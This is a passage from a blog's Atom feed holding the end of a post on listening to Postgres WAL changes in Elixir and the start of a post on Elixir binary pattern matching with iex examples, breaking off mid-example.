&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;Insert&lt;/code&gt; message is pretty straightforward. It contains the inserted data per column. It points to the table into which the data was inserted through the &lt;code&gt;relation_id&lt;/code&gt; field, which is the same OID of the relation that we received before.&lt;/p&gt;
&lt;p&gt;If you match the data rows with the relation column rows, you&apos;ll see that the first value was inserted into the &lt;code&gt;ID&lt;/code&gt; field, the second value into the &lt;code&gt;title&lt;/code&gt; field, and so on. Postgres splits the relation data from the change data to minimize bandwidth. We really don&apos;t need to receive the same table specs with every single event.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-commit&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-commit&quot;&gt;&lt;/a&gt;The COMMIT&lt;/h3&gt;
&lt;pre id=&quot;code-block-24&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:commit&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;payload: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;type: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:commit&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;commit_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E10&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;tx_end_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E40&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E40&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;latest_lsn: &lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;4/5A7D7E40&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Lastly, the &lt;code&gt;COMMIT&lt;/code&gt; indicates the end of a transaction. Its &lt;code&gt;commit_lsn&lt;/code&gt; points to the &lt;code&gt;BEGIN&lt;/code&gt; message that started the transaction and its &lt;code&gt;tx_end_lsn&lt;/code&gt; points to itself. At this point, we know the transaction is complete and can process the messages we&apos;ve received if we haven&apos;t done so already.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#what-to-do-with-the-data-tho&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;what-to-do-with-the-data-tho&quot;&gt;&lt;/a&gt;What to do with the data tho?&lt;/h3&gt;
&lt;p&gt;It&apos;s up to you! You can buffer the messages until you receive the final &lt;code&gt;COMMIT&lt;/code&gt;, zip the data columns with the relation column definitions, and ... print them out? I guess? At least that&apos;s what I&apos;ve done &lt;a href=&quot;https://github.com/PJUllrich/PeterAndCode/blob/626acbb63a310e0a874991cbdfcdf0050b1a6ee1/wal/lib/wal/replication.ex#L73&quot;&gt;here&lt;/a&gt;. What &lt;strong&gt;you&lt;/strong&gt; do with the data depends on your use-case. Be creative!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#crash-recovery&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;crash-recovery&quot;&gt;&lt;/a&gt;Crash Recovery&lt;/h2&gt;
&lt;p&gt;We&apos;re almost at the end of this post, but one topic is important enough to delay that sweet sweet relief of closing the tab, feeling like you&apos;ve learned something, and then to forget everything you&apos;ve just read. Just, bear with me.&lt;/p&gt;
&lt;p&gt;One major consideration when tracking changes through the WAL is how to never miss a message, even if your listener crashes. Luckily, Postgres has got our back! As mentioned in the keep-alive message handler, Postgres will keep the WAL records until we acknowledge them either as response to the keep-alive message, after we receive each message, or once we&apos;ve received the final &lt;code&gt;COMMIT&lt;/code&gt; message. Postgres calls these acknowledgments &quot;checkpoints&quot; by the way.&lt;/p&gt;
&lt;p&gt;In any case, if your listener crashes before it can acknowledge the messages, Postgres will just send them again the next time our listener connects! At least if you use a persistent replication slot. You can test this by starting your application, creating a record, waiting for the WAL messages to come in, and then quickly stopping your application before the next keep-alive message comes in. If you now start your application again, your listener will receive the same messages once more!&lt;/p&gt;
&lt;p&gt;This message recovery is great, but it also means that you must handle duplicate messages gracefully. So, however you process the messages, it must be &lt;code&gt;idempotent&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;And that&apos;s it! Enough about the WAL!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#further-considerations&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;further-considerations&quot;&gt;&lt;/a&gt;Further Considerations&lt;/h2&gt;
&lt;p&gt;Ha! I tricked you! Kind of.&lt;/p&gt;
&lt;p&gt;Although this blog post was incredibly long, there&apos;s always more to learn about Postgres. Here are some pointers:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Try out &lt;a href=&quot;https://github.com/cpursley/walex&quot;&gt;Walex&lt;/a&gt; or &lt;a href=&quot;https://github.com/cainophile/cainophile&quot;&gt;Cainophile&lt;/a&gt; which use the WAL for &lt;code&gt;Change Data Capture (CDC)&lt;/code&gt; in Elixir.&lt;/li&gt;
&lt;li&gt;Peruse the &lt;a href=&quot;https://github.com/supabase/realtime&quot;&gt;Supabase Realtime&lt;/a&gt; for inspiration.&lt;/li&gt;
&lt;li&gt;Look into creating a &lt;code&gt;Snapshot&lt;/code&gt; when creating the &lt;a href=&quot;https://www.postgresql.org/docs/18/protocol-replication.html#PROTOCOL-REPLICATION-CREATE-REPLICATION-SLOT&quot;&gt;Replication Slot&lt;/a&gt; which saves the current state of the database when you create your replication slot.&lt;/li&gt;
&lt;li&gt;Call me a liar or how much this post inspired you over on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt;. Your choice.&lt;/li&gt;
&lt;/ol&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#conclusion&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;conclusion&quot;&gt;&lt;/a&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you want to support me, you can buy my &lt;a href=&quot;https://pragprog.com/titles/puphoe/building-table-views-with-phoenix-liveview/&quot;&gt;book&lt;/a&gt; or video courses (&lt;a href=&quot;https://indiecourses.com/catalog/build-an-mvp-with-elixir-6i4V9yOqLL54GuG0HkV9HR&quot;&gt;one&lt;/a&gt; and &lt;a href=&quot;https://indiecourses.com/catalog/building-forms-with-phoenix-liveview-2OPYIqaekkZwrpgLUZOyZV&quot;&gt;two&lt;/a&gt;). Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;Bluesky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post. Until next time! Cheerio 👋&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/listen-to-database-changes-through-the-postgres-wal"/>
    <id>https://peterullrich.com/listen-to-database-changes-through-the-postgres-wal</id>
    <title>Listen to Database Changes through the Postgres WAL</title>
    <updated>2025-11-03T06:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Welcome back! First, a joke:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Don’t trust atoms
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;They make up everything
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, onto today&apos;s topic: &lt;strong&gt;Binary Pattern Matching in Elixir&lt;/strong&gt;&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-gist&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-gist&quot;&gt;&lt;/a&gt;The Gist&lt;/h2&gt;
&lt;p&gt;Pattern matching in Elixir is a superpower you probably know about, but chances are that you haven&apos;t encountered its little brother, &lt;strong&gt;binary pattern matching&lt;/strong&gt; yet. Let&apos;s fix that.&lt;/p&gt;
&lt;p&gt;In essence, Elixir makes it incredibly easy to deconstruct binaries into their more meaningful parts.&lt;/p&gt;
&lt;p&gt;To give you an example: Imagine you&apos;re using Nerves to read temperature and humidity from a sensor. The sensor spec shows how to interpret the bits:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;| bit7 | bit6 | bit5 | bit4 | bit3 | bit2 | bit1 | bit0 |
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;| ---  | ---- | ---- | ---- | ---- | ---- | ---- | ---- |
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;|            temp           |   0  |      humidity      |
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Now, before the Nerves-folks crucify me for creating such a nonsensical memory map, let me clarify that I completely made up this table to exactly fit my story-telling needs. So, &lt;em&gt;hush&lt;/em&gt; Frank, Gus, and Lars!&lt;/p&gt;
&lt;p&gt;With the spec above in hand, you set out to decode the 1s and 0s you receive from the sensor. The pattern match would look like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;temperature&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;4&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #8b949e;&quot;&gt;_&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;humidity&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0b11110111&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;247&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;temperature&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;15&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;humidity&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;7&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s how easy it is to decode binaries using pattern matching!&lt;/p&gt;
&lt;p&gt;Look at how similar the spec and pattern match look like! That&apos;s one of the big advantages of using Elixir for these problems. It&apos;s super readable.&lt;/p&gt;
&lt;p&gt;Let&apos;s break down the pattern match into its individual components.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#bitstrings&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;bitstrings&quot;&gt;&lt;/a&gt;Bitstrings&lt;/h2&gt;
&lt;p&gt;First, the &lt;code&gt;&lt;&lt;&gt;&gt;&lt;/code&gt; syntax defines a &lt;a href=&quot;https://hexdocs.pm/elixir/binaries-strings-and-charlists.html#bitstrings&quot;&gt;bitstring&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;A &lt;code&gt;bitstring&lt;/code&gt; is a contiguous sequence of bits in memory.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;However, when you write &lt;code&gt;&lt;&lt;1&gt;&gt;&lt;/code&gt;, Elixir doesn&apos;t create a bitstring with only a single bit but it stores the number as one byte (8 bits) by default.&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0b00000001&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;0b10000000&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That means you have to watch out which values you store in the bitstring since values that are larger than a single byte will get truncated.&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The integer &lt;code&gt;257&lt;/code&gt; in binary is &lt;code&gt;0b100000001&lt;/code&gt;, but those are 9 bits. Elixir bitstrings reserve only 8 bits per value by default. Thus, the left-most bit is ignored and only &lt;code&gt;0b00000001&lt;/code&gt; is stored which is equal to &lt;code&gt;1&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;To store larger values, you have to specify the bit count with &lt;code&gt;value::size(n)&lt;/code&gt; or &lt;code&gt;value::n&lt;/code&gt; for short:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;9&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;128&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;value&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;::n&lt;/code&gt; notation instructs Elixir to reserve &lt;code&gt;n&lt;/code&gt; bits to store the value. This isn&apos;t how Elixir displays the bitstring though and that might be confusing.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#storing-vs-displaying-bitstrings&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;storing-vs-displaying-bitstrings&quot;&gt;&lt;/a&gt;Storing vs Displaying Bitstrings&lt;/h3&gt;
&lt;p&gt;Elixir fills the reserved bits &lt;em&gt;from the right&lt;/em&gt; to store a value, but splits them into bytes &lt;em&gt;from the left&lt;/em&gt; when displaying them.&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;10&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;64&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;2&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;iex&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;&gt;&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;257&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;11&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&lt;&lt;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;32&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;1&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;::&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;size&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;3&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&gt;&gt;&lt;/span&gt;
